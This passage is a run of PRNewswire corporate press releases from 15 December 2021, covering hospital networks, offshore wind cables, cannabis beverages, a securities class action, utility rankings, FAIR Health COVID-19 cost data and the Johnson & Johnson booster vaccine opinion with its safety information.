hospitals - JFK Johnson Rehabilitation Institute in Edison and Johnson Rehabilitation Institute in Brick. Additionally, the network has more than 500 patient care locations throughout the state which include ambulatory care centers, surgery centers, home health services, long-term care and assisted living communities, ambulance services, lifesaving air medical transportation, fitness and wellness center, rehabilitation centers, urgent care centers and physician practice locations. Hackensack Meridian Health has more than 36,000 team members, and 7,000 physicians and is a distinguished leader in health care philanthropy, committed to the health and well-being of the communities it serves. The network's notable distinctions include having more top-ranked hospitals than anyone in New Jersey, as recognized by U.S. News & World Report, 2021-22. Hackensack University Medical Center is the only hospital in New Jersey with the #1 adult and children's hospital rankings. John Theurer Cancer Center at Hackensack University Medical Center is New Jersey's best cancer center, as recognized by U.S. News & World Report, 2021-22. This premier cancer center is also the largest and most comprehensive center dedicated to the diagnosis, treatment, management, research, screenings, and preventive care as well as survivorship of patients with all types of cancers. John Theurer Cancer Center is part of Georgetown Lombardi Comprehensive Cancer Center, an NCI-designated comprehensive cancer center. Additionally, the network partnered with Memorial Sloan Kettering Cancer Center to ensure that patients have access to the highest quality, most individualized cancer care when and where they need it. The Hackensack Meridian School of Medicine, the first private medical school in New Jersey in more than 50 years, welcomed its first class of students in 2018 to its campus in Nutley and Clifton. The Hackensack Meridian Center for Discovery and Innovation (CDI), housed in a fully renovated state-of-the-art facility, seeks to translate current innovations in science to improve clinical outcomes for patients with cancer, infectious diseases and other life-threatening and disabling conditions. Hackensack Meridian Health is a member of AllSpire Health Partners, an interstate consortium of leading health systems, to focus on the sharing of best practices in clinical care and achieving efficiencies. To learn more, visit www.hackensackmeridianhealth.org . SOURCE Hackensack Meridian Health SUZHOU, China, Dec. 15, 2021 /PRNewswire/ -- From 8th to 9th December, the 4th Vietnam Onshore and Offshore Wind Summit was held in the Intercontinental Hanoi Landmark 72 Exhibition in Hanoi. This Summit involved various players, both domestic and overseas, in the offshore wind power industry. Hengtong attended the Summit, presenting our latest submarine cable system solution and performance. In recent years, Hengtong keeps exploring the Vietnam market and has been awarded several offshore wind farm (OWF) submarine cable projects in this country, as PC contractor. By the end of 2021, Hengtong has successfully delivered the OWF submarine cable systems for the VPL Ben Tre Offshore Wind Farm, the Tra Vinh V1-2 48MW Offshore Wind Power Plant, and the Hiep Thanh 78MW Offshore Wind Power Plant. Hengtong's own offshore engineering capability, the CLB 'Hengtong Lan 1', has also executed the cable installation works there. By completing those projects as well as further exploration, Hengtong is consolidating a leading position in Vietnam's submarine cable system market. With Hengtong's comprehensive OWF solution, professional services, and rich project experiences, they attracted various visitors in this Summit and realized another exciting presence in the Vietnam market. Together with Hengtong's upstream and downstream partners, they expect to make more effort to the clean energy power generation and green, low-carbon development of Vietnam, and the Asia-Pacific region. SOURCE Jiangsu Hengtong Optic-Electric Co., Ltd. PHOENIX, Dec. 15, 2021 /PRNewswire/ -- HighBridge Premium Cannabis is pleased to announce the recent signing of a Beverage Production Agreement with Great White Industries. Located in Phoenix, Great White is a leader in the Arizona Cannabis Industry. "Using their unique proprietary methods and techniques from around the world, Great White is the prefect HighBridge Premium partner," said Dr. Susanne MacMahon, spokesperson for HighBridge. Adding, "This partnership will allow us to deliver world class recreational cannabis infused beverages throughout the state of Arizona." HighBridge Premium Cannabis develops and distributes premium beverages for the recreational cannabis industry. Alpine Rush is a full bodied faux beer beverage HighBridge, headquartered in Orange County, California, currently has 5 THC infused beverages production ready. Great White will first product the "one of a kind" HighBridge Aphrodisiac Shot: HigherLove targeted for production yet this month. The parties expect to be in full distribution of the entire line of HighBridge Products in the First Quarter of 2022. All HighBridge THC infused beverages have been developed and formulated in conjunction with its Lab Partner, Ocean Blue Innovations in Hermosa Beach, CA (www.oceanblueinnovation.com). In addition to HigherLove, these include: Alpine Rush and Halcyon Daze - full bodied "faux beer" beverages. and Halcyon Daze - full bodied "faux beer" beverages. Re-Frsh Handcrafted botanical seltzers, currently in two flavors. Handcrafted botanical seltzers, currently in two flavors. The Happy Can An Energy Drink designed for recreational use. HighBridge is also formulating a line of "mocktails" in unique flavors to be sold as HighBridge "HighTales", it is expected these will be production ready in Q-2. About HighBridge Premium Cannabis: HighBridge Premium Cannabis (The Highbridge Company, LLC), in conjunction with its Lab and Marketing partners, develops and distributes premium beverages for the recreational cannabis industry. HighBridge is a Multi-State Organization and expects to be operational in 10 states by the end of 2022. In addition to California and Arizona, Nevada, Colorado, and Michigan, are targeted for Q1 & Q2. Oklahoma, Maine, Vermont, New York and Massachusetts are likely additions by end of year. For more information visit the company website: www.highbridgepremium.com Contact: Vicky Hunter [email protected] 763-443-5337 This release contains forward-looking statements about HighBridge's future plans, strategies, beliefs and performance that are not historical facts. Such statements are based on the company's assumptions and beliefs in light of competitive, financial and economic data currently available and are subject to a number of risks, uncertainties and assumptions that, without limitation, relate to world economic conditions, exchange rates and commodity prices. Forward-looking statements are made and based on information available to the Company on the date of this press release. HighBridge assumes no obligation to update the information in this press release. SOURCE HighBridge Premium Cannabis NEW ORLEANS, Dec. 15, 2021 /PRNewswire/ -- ClaimsFiler, a FREE shareholder information service, reminds investors that they have until December 27, 2021 to file lead plaintiff applications in a securities class action lawsuit against Hoegh LNG Partners LP (NYSE: HMLP), if they purchased the Company's securities between August 22, 2019 and July 27, 2021, inclusive (the "Class Period"). This action is pending in the United States District Court for the District of New Jersey. Get Help Hoegh LNG investors should visit us at https://claimsfiler.com/cases/nyse-hmlp or call toll-free (844) 367-9658. Lawyers at Kahn Swick & Foti, LLC are available to discuss your legal options. About the Lawsuit Hoegh LNG and certain of its executives are charged with failing to disclose material information during the Class Period, violating federal securities laws. On July 27, 2021, the Company disclosed that its quarterly cash distribution had been slashed from $0.44 per common unit to $0.01 per common unit, that its revolving credit line would not be extended when it matured on January 1, 2023, and that its parent company would have very limited capacity to provide additional future support, among other things. On this news, Hoegh LNG's common unit price plummeted 64%, on unusually heavy trading volume. The case is Sanchez v. Hoegh LNG Partners LP, et al., 21-cv- 19374. About ClaimsFiler ClaimsFiler has a single mission: to serve as the information source to help retail investors recover their share of billions of dollars from securities class action settlements. At ClaimsFiler.com, investors can: (1) register for free to gain access to information and settlement websites for various securities class action cases so they can timely submit their own claims; (2) upload their portfolio transactional data to be notified about relevant securities cases in which they may have a financial interest; and (3) submit inquiries to the Kahn Swick & Foti, LLC law firm for free case evaluations. To learn more about ClaimsFiler, visit www.claimsfiler.com. SOURCE ClaimsFiler LOS GATOS, Calif., Dec. 15, 2021 /PRNewswire/ -- Home Run Financing announced today the addition of two new hires to their executive team. Rob Stack, Chief Revenue Officer, and Rich Fenske, Chief Financial Officer join the HRF executive team after extensive careers in the home improvement loan and renewable energy finance industries. Stack has almost 20 years of experience in finance, sales, and business development, including at Aqua Finance, Inc. which was a leader in the home improvement finance sector. Fenske has more than 25 years of business experience, including as Managing Director of CXO Strategies and as CFO at DynaSolar EPCM. Both join the team as the company's new product, Home Run Loans, finds rapid success, nearing $50M in funding less than six months after launch. "We're excited to be adding new expertise to our team as our new unsecured loan product, Home Run Loans, is experiencing tremendous success," said Robert Giles, CEO of Home Run Financing. "It's great timing for our company as we expand the business into other complementary consumer loan products and new selling territories." Home Run Financing has been providing PACE (Property Assessed Clean Energy) financing since 2014 and introduced an unsecured loan product, Home Run Loans, just this past year. The company has built an extensive contractor network in the states where it operates, including California, Missouri, Kansas, and Florida. Rob Stack comes to the team from Aqua Finance, where he worked with home improvement contractors and dealers to deliver consumer financing solutions. Previously, as Vice President of Sales & Engineering at JARP Industries, Stack managed sales and customer service functions in a high-touch, customer-centric environment. "I am committed to fostering positive relationships with our funding partners, contractors, and our customers," Stack said, "and I am especially interested in making sure the loan portfolio performance of HRF's new offering is solid from the beginning as well as offering contractors ease of use with all of our financing products. Home Run Financing is the only consumer finance company that offers both PACE and unsecured loans and I am proud to be joining this team." Home Run Financing's new CFO, Rich Fenske, has specialized in solving complex business problems, most recently as Managing Director at CXO Strategies. As CFO of DynaSolar, he co-led his team in successfully installing $1B of renewable energy assets (solar and wind) for a clean energy infrastructure fund. "I am excited about the future of Home Run Financing," said Fenske, "and I'm looking forward to implementing best practices for the company's next phase of growth." "Recent surveys show that homeowners across the country continue to invest heavily in home improvement projects and that contractors continue to benefit from opportunities for expansion and job growth," added Giles. "Home Run Financing's PACE and unsecured financing options are helping these homeowners and contractors achieve their goals." CONTACT: Severn Williams [email protected] 510-336-9566 SOURCE Home Run Financing AUSTIN, Minn., Dec. 15, 2021 /PRNewswire/ -- Hormel Foods Corporation (NYSE: HRL), a global branded food company, announced it will hold its 2022 Annual Meeting of Stockholders virtually due to the continuing COVID-19 pandemic. The live webcast of the meeting will be held at 6 p.m. CST on Tuesday, January 25, 2022 via www.virtualshareholdermeeting.com/HRL2022 and is open to all registered stockholders or beneficial owners of the company's common stock at the close of business on December 3, 2021. Stockholders will not be able to physically attend the Annual Meeting. Stockholders will need the 16-digit control number found on the Notice of Internet Availability, the proxy card or on the instructions that accompany the proxy materials to participate in the Annual Meeting and vote shares electronically. If the shares are held in the name of a bank, broker or other holder of record, the voting instructions provided by the bank, broker or other holder of record should include the 16-digit control number. Following the business of the stockholder meeting, there will be a question and answer session. Stockholders may submit a question in advance of the meeting at www.proxyvote.com after logging in with the control number. Questions may be submitted during the Annual Meeting through www.virtualshareholdermeeting.com/HRL2022. For those who want to attend who are not stockholders at the close of business on December 3, 2021, visit www.virtualshareholdermeeting.com/HRL2022 and register as a guest. Guests will not be able to vote or submit a question during the meeting. Updates and further information will be available at https://investor.hormelfoods.com/ir-home/default.aspx. This year, gift boxes will be available for pick up at the SPAM Museum during its regular business hours for registered stockholders or beneficial owners of the company's common stock at the close of business on December 3, 2021, beginning Wednesday, January 26 through Sunday, January 30, 2022. Please have the Notice of Internet Availability, the proxy card or the voting instructions received available to receive the gift box. For SPAM Museum hours, please visit https://www.spam.com/museum. ABOUT HORMEL FOODS Inspired People. Inspired Food. Hormel Foods Corporation, based in Austin, Minn., is a global branded food company with over $11 billion in annual revenue across more than 80 countries worldwide. Its brands include Planters, SKIPPY, SPAM, Hormel Natural Choice, Applegate, Justin's, Wholly, Hormel Black Label, Columbus and more than 30 other beloved brands. The company is a member of the S&P 500 Index and the S&P 500 Dividend Aristocrats, was named on the "Global 2000 World's Best Employers" list by Forbes magazine for three years, is one of Fortune magazine's most admired companies, has appeared on Corporate Responsibility Magazine's "The 100 Best Corporate Citizens" list for 12 years, and has received numerous other awards and accolades for its corporate responsibility and community service efforts. The company lives by its purpose statement Inspired People. Inspired Food. to bring some of the world's most trusted and iconic brands to tables across the globe. For more information, visit www.hormelfoods.com. Contact: Media Relations 507-434-6352 [email protected] SOURCE Hormel Foods Corporation NEW YORK, Dec. 15, 2021 /PRNewswire/ -- In a state-by-state analysis of private healthcare claims data from 2020 to 2021, New Jersey emerged as the state with the highest average allowed amount1 for complex hospitalizations for COVID-19, while Maryland had the lowest. In New Jersey, the average allowed amount for such hospitalizations was $128,650 and in Maryland $49,127. These and other findings are reported in the new FAIR Health brief COVID-19 Treatment and Hospitalization Costs: A Descriptive Analysis of the FAIR Health COVID-19 Cost Tracker. The brief provides a descriptive analysis of the COVID-19 patient population whose treatment and hospitalization costs are tracked by FAIR Health's COVID-19 Cost Tracker, a free, online tool displaying typical, state-by-state COVID-19 costs. Complex hospitalizations for COVID-19 are those that require ventilation and/or admission to the intensive care unit (ICU), while noncomplex hospitalizations do not. The state with the highest average allowed amount for noncomplex hospitalizations for COVID-19 was Alaska ($44,239), and the state with the highest average allowed amount for outpatient treatment for COVID-19 was Nevada ($1,538). Maryland was the state with the lowest average allowed amounts for noncomplex hospitalizations ($12,531) and outpatient treatment ($580) for COVID-19, as well as for complex hospitalizations.2 Other findings in the new report include the following (from April 2020 to August 2021 unless otherwise indicated): Of COVID-19 patients with a complex inpatient stay, 48.4 percent had five or more comorbidities and 20.6 percent had zero comorbidities. By comparison, patients with zero comorbidities constituted nearly half (49.4 percent) of all patients diagnosed with COVID-19; patients with five or more comorbidities constituted only 13.7 percent of all patients diagnosed with COVID-19. In patients with a complex hospitalization for COVID-19, the most common comorbidity was hyperlipidemia and/or hypertension, which accounted for 14.7 percent of this population. In patients with a noncomplex hospitalization for COVID-19, the most common comorbidity was chronic breathing issues, at 6.5 percent of the distribution. December 2020 was the month with the most reported COVID-19 diagnoses. was the month with the most reported COVID-19 diagnoses. From January to June 2021 , the distribution of COVID-19 diagnoses in urban areas was higher than in rural areas. But in July 2021 , and even more in August 2021 , rural areas had a greater distribution of COVID-19 cases than urban areas. , the distribution of COVID-19 diagnoses in urban areas was higher than in rural areas. But in , and even more in , rural areas had a greater distribution of COVID-19 cases than urban areas. The largest category of COVID-19 cases included those who tested positive for COVID-19 but did not receive any further services for COVID-related symptoms. 3 That category was larger than outpatients with symptoms, complex inpatients or noncomplex inpatients. That category was larger than outpatients with symptoms, complex inpatients or noncomplex inpatients. The largest percentage of complex hospitalizations occurred in those 70 years and older (17.2 percent of patients diagnosed with COVID-19 in this age group); an additional 15.7 percent of patients in this age group had a noncomplex hospitalization. In total, 32.9 percent of all patients 70 years and older had an inpatient stay for their COVID-19 diagnosis. In noncomplex hospitalizations for COVID-19, 57 percent of patients were female, but in complex hospitalizations, 57 percent of patients were male. The percentage of COVID-19 patients who died in April 2020 was 1.9 percent, but from February to July 2021 , it was about half a percent each month. was 1.9 percent, but from February to , it was about half a percent each month. The median length of stay for patients with a complex hospitalization for COVID-19 decreased from a high of 13 days in April 2020 to a low of 7 days in July 2021 . The median length of stay for a noncomplex hospitalization, however, remained relatively flat throughout this period, with most months having a median of four days and the rest three days. to a low of 7 days in . The median length of stay for a noncomplex hospitalization, however, remained relatively flat throughout this period, with most months having a median of four days and the rest three days. For complex and noncomplex hospitalizations for COVID-19 in 2020 and 2021, the West had the highest average allowed amounts and the South the lowest. For outpatient treatment for COVID-19, the West had the highest average allowed amounts and the Northeast the lowest. FAIR Health President Robin Gelburd stated: "Behind the numbers of our COVID-19 Cost Tracker are the individuals who have contracted COVID-19. As a public service, this brief provides a descriptive analysis of that patient population, offering context for the COVID-19 Cost Tracker." This is the ninth in a series of studies released by FAIR Health on the COVID-19 pandemic. The first study examined projected US costs for COVID-19 patients requiring inpatient stays, the second the impact of the pandemic on hospitals and health systems, the third the impact on healthcare professionals, the fourth key characteristics of COVID-19 patients, the fifth the impact on the dental industry, the sixth risk factors for COVID-19 mortality, the seventh the impact on pediatric mental health and the eighth post-COVID conditions. For the new brief, click here. Follow us on Twitter @FAIRHealth About FAIR Health FAIR Health is a national, independent nonprofit organization that qualifies as a public charity under section 501(c)(3) of the federal tax code. It is dedicated to bringing transparency to healthcare costs and health insurance information through data products, consumer resources and health systems research support. FAIR Health possesses the nation's largest collection of private healthcare claims data, which includes over 35 billion claim records and is growing at a rate of over 2 billion claim records a year. FAIR Health licenses its privately billed data and data productsincluding benchmark modules, data visualizations, custom analytics and market indicesto commercial insurers and self-insurers, employers, providers, hospitals and healthcare systems, government agencies, researchers and others. Certified by the Centers for Medicare & Medicaid Services (CMS) as a national Qualified Entity, FAIR Health also receives data representing the experience of all individuals enrolled in traditional Medicare Parts A, B and D; FAIR Health includes among the private claims data in its database, data on Medicare Advantage enrollees. FAIR Health can produce insightful analytic reports and data products based on combined Medicare and commercial claims data for government, providers, payors and other authorized users. FAIR Health's systems for processing and storing protected health information have earned HITRUST CSF certification and achieved AICPA SOC 2 compliance by meeting the rigorous data security requirements of these standards. As a testament to the reliability and objectivity of FAIR Health data, the data have been incorporated in statutes and regulations around the country and designated as the official, neutral data source for a variety of state health programs, including workers' compensation and personal injury protection (PIP) programs. FAIR Health data serve as an official reference point in support of certain state balance billing laws that protect consumers against bills for surprise out-of-network and emergency services. FAIR Health also uses its database to power a free consumer website available in English and Spanish, which enables consumers to estimate and plan for their healthcare expenditures and offers a rich educational platform on health insurance. An English/Spanish mobile app offers the same educational platform in a concise format and links to the cost estimation tools. The website has been honored by the White House Summit on Smart Disclosure, the Agency for Healthcare Research and Quality (AHRQ), URAC, the eHealthcare Leadership Awards, appPicker, Employee Benefit News and Kiplinger's Personal Finance. FAIR Health also is named a top resource for patients in Dr. Marty Makary's book The Price We Pay: What Broke American Health Careand How to Fix It and Dr. Elisabeth Rosenthal's book An American Sickness: How Healthcare Became Big Business and How You Can Take It Back. For more information on FAIR Health, visit fairhealth.org. Contact: Rachel Kent Senior Director of Marketing, Outreach and Communications FAIR Health 646-396-0795 [email protected] 1 An allowed amount is the total fee negotiated between an insurance plan and a provider for an in-network service. It includes both the portion to be paid by the plan member and the portion to be paid by the plan. 2 This may be partly explained by Maryland's all-payer rate-setting system. See Maryland Hospital Association, "The Maryland Model." 3 Patients who did not report symptoms on the index date of diagnosis may have experienced symptoms afterward and not incurred a claim because they were not sick enough to seek medical care or did not choose to do so. SOURCE FAIR Health PITTSBURGH, Dec. 15, 2021 /PRNewswire/ -- An inventor in Los Angeles, California who was looking to eliminate manual wash-rinse-sanitize mixing for restaurants by employees who may be forgetful, developed an automatic dispensing and control system for chemical mixture. The patent-pending invention would take the guesswork out of chemical mixtures typically needed to satisfy compliance with sanitation regulations for employee and customer safety. The inventor described the invention as "an automated chemical mixture system with water for 3 basin sinks to satisfy wash-rinse-sanitize chemical mixture requirements, eliminating manual mixing and wasted chemicals." The original design was submitted to the Los Angeles sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 20-LAX-1300, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com. SOURCE InventHelp COLLINSVILLE, Ill., Dec. 15, 2021 /PRNewswire/ -- Ameren Illinois, a subsidiary of Ameren Corporation (NYSE: AEE), is number one in customer satisfaction among large electric utility providers in the Midwest, according to the J.D. Power 2021 Electric Utility Residential Customer Satisfaction Study, released today. This is the first time that Ameren Illinois has received top honors in the annual ranking. The J.D. Power Electric Utility Residential Customer Satisfaction Study measures satisfaction among residential customers of the 145 largest electric utilities across the United States, representing more than 101 million households. Customers evaluate the performance of their utility across six factors: Power Quality and Reliability; Price; Billing and Payment; Communications; Corporate Citizenship; and Customer Care. "I could not be prouder of the job our team did in the face of significant challenges and business disruptions this past year," said Richard J. Mark, Chairman and President, Ameren Illinois. "We're honored and humbled that our customers value our efforts to deliver a superior customer experience." J.D. Power noted the progress of utilities, like Ameren Illinois, which navigated a roller coaster economic environment to not only help their local economies, but also communicate more effectively about their programs and activities. "Utility customers want to hear about these efforts and, when they do, overall satisfaction is higher," said John Hazen, managing director of the utility practice at J.D. Power. Ameren Illinois believes that its strong service reliability, implementation of flexible billing and payment programs during the COVID-19 crisis, community involvement, and stable energy rates were also key factors in the company's top ranking in the Midwest Large Utility segment. "We believe that safe, reliable, and affordable energy is the main driver of customer satisfaction," said Mark. "Especially in times of uncertainty, we want our customers to know that we will be here, meeting their energy needs, putting people to work, and stepping up to support our communities. We have worked hard to earn the trust of our customers and the recognition by J.D. Power is affirmation that these efforts matter." In addition to its overall first place finish in the Midwest segment, J.D. Power ranked Ameren Illinois highest in the categories of communications, and billing and payment. Ameren Illinois is a subsidiary of Ameren Corporation based in St. Louis. About J.D. Power J.D. Power is a global leader in consumer insights, advisory services and data and analytics. A pioneer in the use of big data, artificial intelligence (AI) and algorithmic modeling capabilities to understand consumer behavior, J.D. Power has been delivering incisive industry intelligence on customer interactions with brands and products for more than 50 years. The world's leading businesses across major industries rely on J.D. Power to guide their customer-facing strategies. J.D. Power has offices in North America, Europe and Asia Pacific. To learn more about the company's business offerings, visit JDPower.com/business. About Ameren Illinois Ameren Illinois delivers energy to 1.2 million electric and more than 800,000 natural gas customers throughout central and southern Illinois. Our service territory covers more than 1,200 communities and 43,700 square miles and our mission is to power the quality of life. For more information, visit AmerenIllinois.com. Follow us on Twitter @AmerenIllinois and Facebook. SOURCE Ameren Illinois Related Links http://www.ameren.com CHMP recommendation based on data showing a booster (second shot) of the Johnson & Johnson COVID-19 vaccine increased protection to 75 percent against symptomatic COVID-19 infection globally Data also demonstrated 100 percent protection against severe COVID-19, at least 14 days post-booster vaccination The Johnson & Johnson COVID-19 vaccine, when given as a booster or primary shot, was generally well-tolerated NEW BRUNSWICK, N.J., Dec. 15, 2021 /PRNewswire/ -- Johnson & Johnson (NYSE: JNJ) (the Company) today announced that the Committee for Medicinal Products for Human Use (CHMP) of the European Medicines Agency (EMA) issued a Positive Opinion for use of the Company's COVID-19 vaccine as a booster for adults aged 18 and older at least two months after primary vaccination with a single-shot of the Johnson & Johnson COVID-19 vaccine, and as a 'mix and match' booster following primary vaccination with an approved two-shot mRNA COVID-19 vaccine regimen (known as heterologous boosting). "We are pleased with today's Positive Opinion from the CHMP supporting the use of our COVID-19 vaccine as a booster for eligible individuals in Europe," said Mathai Mammen, M.D., Ph.D., Global Head, Janssen Research & Development, Johnson & Johnson. "There is a growing body of data showing that the Johnson & Johnson COVID-19 vaccine induces broad and durable humoral and cellular immune responses, whether administered as a single shot for an efficient response to the pandemic, or as a booster shot after at least two months to strengthen protection against symptomatic COVID-19. Cellular immune responses are showing potential to be important for both breadth of protection and durability." The CHMP Opinion was based on a comprehensive data package that included results from the Phase 3 ENSEMBLE 2 study, which found a booster of the Johnson & Johnson COVID-19 vaccine given two months after the primary shot provided 75 percent protection against symptomatic (moderate to severe) COVID-19 globally (CI, 55%-87%) and 94 percent protection against symptomatic (moderate to severe) COVID-19 in the U.S. (CI, 59%-100%). It also demonstrated 100 percent protection against severe COVID-19, at least 14 days post-booster vaccination (CI, 33%-100%). The vaccine, when given as a booster or primary shot, was generally well-tolerated, with no new safety signals observed in the two-shot ENSEMBLE 2 trial compared with single-shot studies. Also included in the data package reviewed by the CHMP were results from multiple real-world evidence (RWE) studies, including the Company's previously announced RWE study that demonstrated similar estimates of single-shot vaccine effectiveness as observed in our randomized clinical trials. The effectiveness estimates remained stable with no evidence of reduced effectiveness over time before the Delta variant emerged and after it became the dominant strain in the U.S. from March through August (sequencing data were not available for analysis). The CHMP recommendation is supported by latest data for heterologous boosting with the Johnson & Johnson COVID-19 vaccine. Interim data from the National Institute of Allergy and Infectious Disease (NIAID) "MixNMatch" study demonstrated that a booster of the Johnson & Johnson COVID-19 vaccine increases immune response regardless of a person's primary vaccination. A second study by the Beth Israel Deaconess Medical Center (BIDMC), including a subset of participants from the Janssen-sponsored COV2008 study, demonstrated the potential benefits of heterologous boosting: a booster shot of the Johnson & Johnson vaccine administered at six months after a two-shot primary regimen of the Pfizer/BioNTech vaccine, increased both antibody and T-cell responses. In these participants, antibodies continued to increase for at least four weeks whereas in individuals who received a homologous boost with the BNT162b2 vaccine, antibodies declined from week two to week four post-boost, resulting in similar antibody levels in both groups. The Company's single-shot COVID-19 vaccine, developed by its Janssen Pharmaceutical Companies of Johnson & Johnson, received an Emergency Use Authorization in the United States on 27 February 2021 and Conditional Marketing Authorisation (CMA) by the European Commission on 11 March. On 21 October 2021, the U.S. Centers for Disease Control and Prevention (CDC) Advisory Committee on Immunization Practices (ACIP) authorized for emergency use a booster shot of the Johnson & Johnson COVID-19 vaccine for adults aged 18 and older. On 9 December 2021, the Strategic Advisory Group of Experts (SAGE) on Immunization for the World Health Organization (WHO) supported the use of the Johnson & Johnson COVID-19 vaccine as a heterologous booster shot in persons aged 18 years and above. For more information on the Company's multi-pronged approach to helping combat the pandemic, visit: www.jnj.com/covid-19. AUTHORIZATION OF USE The Janssen COVID-19 Vaccine is authorized for use under an Emergency Use Authorization (EUA) for active immunization to prevent Coronavirus Disease 2019 (COVID-19) caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). Primary vaccination regimen for the Janssen COVID-19 Vaccine is a single-dose (0.5 mL) administered to individuals 18 years of age and older. A single Janssen COVID-19 Vaccine booster dose (0.5 mL) may be administered at least 2 months after the primary vaccination to individuals 18 years of age and older. A single booster dose of the Janssen COVID-19 Vaccine (0.5 mL) may be administered to individuals 18 years of age and older as a heterologous booster dose following completion of primary vaccination with another authorized or approved COVID-19 vaccine. The dosing interval for the heterologous booster dose is the same as that authorized for a booster dose of the vaccine used for primary vaccination. IMPORTANT SAFETY INFORMATION WHAT SHOULD YOU MENTION TO YOUR VACCINATION PROVIDER BEFORE YOU GET THE JANSSEN COVID-19 VACCINE? Tell the vaccination provider about all of your medical conditions, including if you: have any allergies have a fever have a bleeding disorder or are on a blood thinner are immunocompromised or are on a medicine that affects your immune system are pregnant or plan to become pregnant are breastfeeding have received another COVID-19 vaccine have ever fainted in association with an injection WHO SHOULD NOT GET THE JANSSEN COVID-19 VACCINE? You should not get the Janssen COVID-19 Vaccine if you: had a severe allergic reaction after a previous dose of this vaccine. had a severe allergic reaction to any ingredient of this vaccine. had a blood clot along with a low level of platelets (blood cells that help your body stop bleeding) following Janssen COVID-19 Vaccine or following AstraZeneca's COVID-19 vaccine (not authorized or approved in the United States ). HOW IS THE JANSSEN COVID-19 VACCINE GIVEN? The Janssen COVID-19 Vaccine will be given to you as an injection into the muscle. Primary Vaccination: The Janssen COVID-19 Vaccine is administered as a single dose. Booster Dose: A single booster dose of the Janssen COVID-19 Vaccine may be administered at least two months after primary vaccination with the Janssen COVID-19 Vaccine. A single booster dose of the Janssen COVID-19 Vaccine may be administered to individuals 18 years of age and older who have completed primary vaccination with a different authorized or approved COVID-19 vaccine. Please check with your health care provider regarding timing of the booster dose. WHAT ARE THE RISKS OF THE JANSSEN COVID-19 VACCINE? Side effects that have been reported with the Janssen COVID-19 Vaccine include: Injection site reactions: pain, redness of the skin, and swelling. General side effects: headache, feeling very tired, muscle aches, nausea, fever. Swollen lymph nodes. Blood clots. Unusual feeling in the skin (such as tingling or a crawling feeling) (paresthesia), decreased feeling or sensitivity, especially in the skin (hypoesthesia). Persistent ringing in the ears (tinnitus). Diarrhea, vomiting. Severe Allergic Reactions There is a remote chance that the Janssen COVID-19 Vaccine could cause a severe allergic reaction. A severe allergic reaction would usually occur within a few minutes to one hour after getting a dose of the Janssen COVID-19 Vaccine. For this reason, your vaccination provider may ask you to stay at the place where you received your vaccine for monitoring after vaccination. Signs of a severe allergic reaction can include: Difficulty breathing Swelling of your face and throat A fast heartbeat A bad rash all over your body Dizziness and weakness Blood Clots with Low Levels of Platelets Blood clots involving blood vessels in the brain, lungs, abdomen, and legs along with low levels of platelets (blood cells that help your body stop bleeding), have occurred in some people who have received the Janssen COVID-19 Vaccine. In people who developed these blood clots and low levels of platelets, symptoms began approximately one to two-weeks after vaccination. Blood clots with low levels of platelets following the Janssen COVID-19 Vaccine have been reported in males and females, across a wide age range of individuals 18 years and older; reporting has been highest in females ages 30 through 49 years (about 1 case for every 100,000 vaccine doses administered), and about 1 out of every 7 cases has been fatal. You should seek medical attention right away if you have any of the following symptoms after receiving the Janssen COVID-19 Vaccine: Shortness of breath, Chest pain, Leg swelling, Persistent abdominal pain, Severe or persistent headaches or blurred vision, Easy bruising or tiny blood spots under the skin beyond the site of the injection. These may not be all the possible side effects of the Janssen COVID-19 Vaccine. Serious and unexpected effects may occur. The Janssen COVID-19 Vaccine is still being studied in clinical trials. Guillain Barre Syndrome Guillain Barre syndrome (a neurological disorder in which the body's immune system damages nerve cells, causing muscle weakness and sometimes paralysis) has occurred in some people who have received the Janssen COVID-19 Vaccine. In most of these people, symptoms began within 42 days following receipt of the Janssen COVID-19 Vaccine. The chance of having this occur is very low. You should seek medical attention right away if you develop any of the following symptoms after receiving the Janssen COVID-19 Vaccine: Weakness or tingling sensations, especially in the legs or arms, that's worsening and spreading to other parts of the body. Difficulty walking. Difficulty with facial movements, including speaking, chewing, or swallowing. Double vision or inability to move eyes. Difficulty with bladder control or bowel function. WHAT SHOULD I DO ABOUT SIDE EFFECTS? If you experience a severe allergic reaction, call 9-1-1, or go to the nearest hospital. Call the vaccination provider or your healthcare provider if you have any side effects that bother you or do not go away. Report vaccine side effects to FDA/CDC Vaccine Adverse Event Reporting System (VAERS). The VAERS toll-free number is 1-800-822-7967 or report online to https://vaers.hhs.gov/reportevent.html. Please include "Janssen COVID-19 Vaccine EUA" in the first line of box #18 of the report form. In addition, you can report side effects to Janssen Biotech Inc. at 1-800-565-4008. CAN I RECEIVE THE JANSSEN COVID-19 VACCINE AT THE SAME TIME AS OTHER VACCINES? Data have not yet been submitted to FDA on administration of the Janssen COVID-19 Vaccine at the same time as other vaccines. If you are considering receiving the Janssen COVID-19 Vaccine with other vaccines, discuss your options with your healthcare provider. Please read Emergency Use Authorization (EUA) Fact Sheet for Healthcare Providers Administering Vaccine (Vaccination Providers) including full EUA Prescribing Information available at: www.JanssenCOVID19Vaccine.com/EUA-factsheet. About Johnson & Johnson At Johnson & Johnson, we believe good health is the foundation of vibrant lives, thriving communities and forward progress. That's why for more than 130 years, we have aimed to keep people well at every age and every stage of life. Today, as the world's largest and most broadly-based healthcare company, we are committed to using our reach and size for good. We strive to improve access and affordability, create healthier communities, and put a healthy mind, body and environment within reach of everyone, everywhere. We are blending our heart, science and ingenuity to profoundly change the trajectory of health for humanity. Learn more at www.jnj.com. Follow us at @JNJNews. About the Janssen Pharmaceutical Companies of Johnson & Johnson At Janssen, we're creating a future where disease is a thing of the past. We're the Pharmaceutical Companies of Johnson & Johnson, working tirelessly to make that future a reality for patients everywhere by fighting sickness with science, improving access with ingenuity, and healing hopelessness with heart. We focus on areas of medicine where we can make the biggest difference: Cardiovascular & Metabolism, Immunology, Infectious Diseases & Vaccines, Neuroscience, Oncology, and Pulmonary Hypertension. Learn more at www.janssen.com. Follow us at @JanssenGlobal. Cautions Concerning Forward-Looking Statements This press release contains "forward-looking statements" as defined in the Private Securities Litigation Reform Act of 1995 regarding development, manufacture and distribution of the Johnson & Johnson COVID-19 vaccine. The reader is cautioned not to rely on these forward-looking statements. These statements are based on current expectations of future events. If underlying assumptions prove inaccurate or known or unknown risks or uncertainties 